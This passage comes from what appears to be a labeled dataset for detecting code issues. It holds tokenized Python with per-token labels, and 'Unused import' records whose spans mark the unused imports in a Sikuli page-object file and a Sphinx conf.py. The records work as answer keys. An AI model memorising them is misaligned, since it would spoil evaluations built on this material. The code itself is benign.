"\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "b_", ",_", "float_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "math_", "._", "isnan_", "(_", "b_", ")_", "or_", "math_", "._", "isinf", "_", "(_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "comparisons", " ", "with", " ", "an", " ", "infinity", " ", "or", " ", "nan", " ", "shou", "ld", " ", "behave", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "same", " ", "way", " ", "for", " ", "any", " ", "finite", " ", "a", ",", " ", "so", " ", "treat", " ", "a", " ", "as", " ", "zero", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "0.0_", "==_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "==_", "a_", "._", "from", "\\u", "float_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sin", "ce", " ", "a", " ", "doe", "sn", "'", "t", " ", "know", " ", "how", " ", "to", " ", "compare", " ", "with", " ", "b", ",", " ", "let", "'", "s", " ", "give", " ", "b_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "chan", "ce", " ", "to", " ", "compare", " ", "its", "elf", " ", "with", " ", "a", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "lt\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "<", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "._", "\\u", "rich", "cmp_", "(_", "b_", ",_", "operator_", "._", "lt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", ">", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "._", "\\u", "rich", "cmp_", "(_", "b_", ",_", "operator_", "._", "gt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "le", "\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "<=", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "._", "\\u", "rich", "cmp_", "(_", "b_", ",_", "operator_", "._", "le_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "ge", "\\u\\u_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", ">=", " ", "b", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "._", "\\u", "rich", "cmp_", "(_", "b_", ",_", "operator_", "._", "ge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fraction_", "(_", "numbers_", "._", "Rational", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "bool\\u", "\\u_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "a", " ", "!=", " ", "0", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "a_", "._", "\\u", "numerator_", "!=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
azoft-dev-team/imagrium/src/pages/auth/auth_page.py
[ { "content": "'''\nCreated on 16.05.2013\n\n@author: Nosov Dmitriy\n'''\nfrom org.sikuli.script import FindFailed, Button\nfrom src.core.page import Page, ResourceLoader, AndroidPage\nfrom src.core.r import Resource\nfrom src.pages.fb_auth.fb_auth_page import FbAuthPage\nfrom unittest.util import strclass\nimport logging\n\n\n\n\n \n \n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class AuthPage(Page): \n\n actionSignUpFb = ResourceLoader(Resource.fbAuthBtniOS)\n actionAgreeTermsBtniOS = ResourceLoader(Resource.agreeTermsBtniOS)\n \n \n \n ", "metadata": "root.AuthPage", "header": "['module', '___EOS___']", "index": 15 }, { "content": " def __init__(self, box, settings):\n super(AuthPage, self).__init__(box, settings)\n\n self.box = box\n self.settings = settings\n # It is necessary to assign a search area to all class fields\n self.actionSignUpFb = self.box\n self.actionAgreeTermsBtniOS = self.box", "metadata": "root.AuthPage.__init__", "header": "['class', 'AuthPage', '(', 'Page', ')', ':', '___EOS___']", "index": 20 }, { "content": " def signUpFb(self):\n self.actionAgreeTermsBtniOS.click()\n self.actionSignUpFb.click()\n return FbAuthPage.load(self.box, self.settings)", "metadata": "root.AuthPage.signUpFb", "header": "['class', 'AuthPage', '(', 'Page', ')', ':', '___EOS___']", "index": 31 }, { "content": "class AuthPageiOS(AuthPage):\n \n actionSignUpFb = ResourceLoader(Resource.fbAuthBtniOS)\n actionAgreeTermsBtniOS = ResourceLoader(Resource.agreeTermsBtniOS)\n ", "metadata": "root.AuthPageiOS", "header": "['module', '___EOS___']", "index": 37 }, { "content": " def __init__(self, box, settings):\n super(AuthPageiOS, self).__init__(box, settings)\n self.checkIfLoaded(['actionSignUpFb', 'actionAgreeTermsBtniOS'])", "metadata": "root.AuthPageiOS.__init__", "header": "['class', 'AuthPageiOS', '(', 'AuthPage', ')', ':', '___EOS___']", "index": 42 }, { "content": "class AuthPageAndroidHdpi(AuthPage):\n \n actionSignUpFb = ResourceLoader(Resource.fbAuthBtnAndroidHdpi)\n actionAgreeTermsBtniOS = ResourceLoader(Resource.fbAuthBtnAndroidHdpi)\n", "metadata": "root.AuthPageAndroidHdpi", "header": "['module', '___EOS___']", "index": 47 }, { "content": " def __init__(self, box, settings):\n super(AuthPageAndroidHdpi, self).__init__(box, settings)\n self.checkIfLoaded(['actionSignUpFb'])", "metadata": "root.AuthPageAndroidHdpi.__init__", "header": "['class', 'AuthPageAndroidHdpi', '(', 'AuthPage', ')', ':', '___EOS___']", "index": 52 } ]
[ { "span": "from org.sikuli.script import FindFailed, Button", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 48 }, { "span": "from src.core.page import Page, ResourceLoader, AndroidPage", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 59 }, { "span": "from unittest.util import strclass", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 34 }, { "span": "import logging", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "'''", "\\", "10", ";", "Creat", "ed", " ", "on", " ", "16.", "05", ".2", "013", "\\", "10", ";", "\\", "10", ";", "@", "author", ":", " ", "No", "so", "v", " ", "Dm", "itr", "iy", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "org_", "._", "si", "kul", "i_", "._", "script_", "import_", "Fin", "d", "Failed_", ",_", "Button_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "src_", "._", "core_", "._", "page_", "import_", "Page_", ",_", "Reso", "urc", "e", "Loader_", ",_", "And", "roid", "Page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "src_", "._", "core_", "._", "r_", "import_", "Resource_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "src_", "._", "pages_", "._", "fb", "\\u", "auth_", "._", "fb", "\\u", "auth", "\\u", "page_", "import_", "Fb", "Auth", "Page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "unittest_", "._", "util_", "import_", "strc", "lass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Auth", "Page_", "(_", "Page_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "action", "Sign", "Up", "Fb", "_", "=_", "Reso", "urc", "e", "Loader_", "(_", "Resource_", "._", "fb", "Auth", "Bt", "ni", "OS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "action", "Agr", "ee", "Term", "s", "Bt", "ni", "OS_", "=_", "Reso", "urc", "e", "Loader_", "(_", "Resource_", "._", "agree", "Term", "s", "Bt", "ni", "OS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Auth", "Page_", "(_", "Page_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "box_", ",_", "settings_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Auth", "Page_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "box_", ",_", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "box_", "=_", "box_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "settings_", "=_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "It", " ", "is", " ", "necessar", "y", " ", "to", " ", "assign", " ", "a", " ", "search", " ", "area", " ", "to", " ", "all", " ", "class", " ", "fields_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "action", "Sign", "Up", "Fb", "_", "=_", "self_", "._", "box_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "action", "Agr", "ee", "Term", "s", "Bt", "ni", "OS_", "=_", "self_", "._", "box_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Auth", "Page_", "(_", "Page_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sign", "Up", "Fb", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "action", "Agr", "ee", "Term", "s", "Bt", "ni", "OS_", "._", "click_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "action", "Sign", "Up", "Fb", "_", "._", "click_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Fb", "Auth", "Page_", "._", "load_", "(_", "self_", "._", "box_", ",_", "self_", "._", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Auth", "Page", "i", "OS_", "(_", "Auth", "Page_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "action", "Sign", "Up", "Fb", "_", "=_", "Reso", "urc", "e", "Loader_", "(_", "Resource_", "._", "fb", "Auth", "Bt", "ni", "OS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "action", "Agr", "ee", "Term", "s", "Bt", "ni", "OS_", "=_", "Reso", "urc", "e", "Loader_", "(_", "Resource_", "._", "agree", "Term", "s", "Bt", "ni", "OS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Auth", "Page", "i", "OS_", "(_", "Auth", "Page_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "box_", ",_", "settings_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Auth", "Page", "i", "OS_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "box_", ",_", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "If", "Load", "ed_", "(_", "[_", "'", "action", "Sign", "Up", "Fb", "'_", ",_", "'", "action", "Agr", "ee", "Term", "s", "Bt", "ni", "OS", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Auth", "Page", "And", "roid", "Hd", "pi_", "(_", "Auth", "Page_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "action", "Sign", "Up", "Fb", "_", "=_", "Reso", "urc", "e", "Loader_", "(_", "Resource_", "._", "fb", "Auth", "Bt", "n", "And", "roid", "Hd", "pi_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "action", "Agr", "ee", "Term", "s", "Bt", "ni", "OS_", "=_", "Reso", "urc", "e", "Loader_", "(_", "Resource_", "._", "fb", "Auth", "Bt", "n", "And", "roid", "Hd", "pi_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Auth", "Page", "And", "roid", "Hd", "pi_", "(_", "Auth", "Page_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "box_", ",_", "settings_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Auth", "Page", "And", "roid", "Hd", "pi_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "box_", ",_", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "If", "Load", "ed_", "(_", "[_", "'", "action", "Sign", "Up", "Fb", "'_", "]_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
allegro/django-powerdns-dnssec/doc/conf.py
[ { "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# django-powerdns-dnssec documentation build configuration file, created by\n# sphinx-quickstart on Wed Jun 17 14:13:00 2015.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys\nimport os\nimport shlex\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.doctest',\n 'sphinx.ext.intersphinx',\n 'sphinx.ext.coverage',\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'django-powerdns-dnssec'\ncopyright = '2015, Allegro Group'\nauthor = 'Allegro Group'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '0.11.0'\n# The full version, including alpha/beta/rc tags.\nrelease = '0.11.0'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n#keep_warnings = False\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'nature'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n# 'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja'\n# 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'\n#html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# Now only 'ja' uses this config value\n#html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n#html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'django-powerdns-dnssecdoc'\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n\n# Latex figure (float) alignment\n#'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'django-powerdns-dnssec.tex', 'django-powerdns-dnssec Documentation',\n 'Allegro Group', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'django-powerdns-dnssec', 'django-powerdns-dnssec Documentation',\n [author], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'django-powerdns-dnssec', 'django-powerdns-dnssec Documentation',\n author, 'django-powerdns-dnssec', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#texinfo_no_detailmenu = False\n\n\n# -- Options for Epub output ----------------------------------------------\n\n# Bibliographic Dublin Core info.\nepub_title = project\nepub_author = author\nepub_publisher = author\nepub_copyright = copyright\n\n# The basename for the epub file. It defaults to the project name.\n#epub_basename = project\n\n# The HTML theme for the epub output. Since the default themes are not optimized\n# for small screen space, using the same theme for HTML and epub output is\n# usually not wise. This defaults to 'epub', a theme designed to save visual\n# space.\n#epub_theme = 'epub'\n\n# The language of the text. It defaults to the language option\n# or 'en' if the language is not set.\n#epub_language = ''\n\n# The scheme of the identifier. Typical schemes are ISBN or URL.\n#epub_scheme = ''\n\n# The unique identifier of the text. This can be a ISBN number\n# or the project homepage.\n#epub_identifier = ''\n\n# A unique identification for the text.\n#epub_uid = ''\n\n# A tuple containing the cover image and cover page html template filenames.\n#epub_cover = ()\n\n# A sequence of (type, uri, title) tuples for the guide 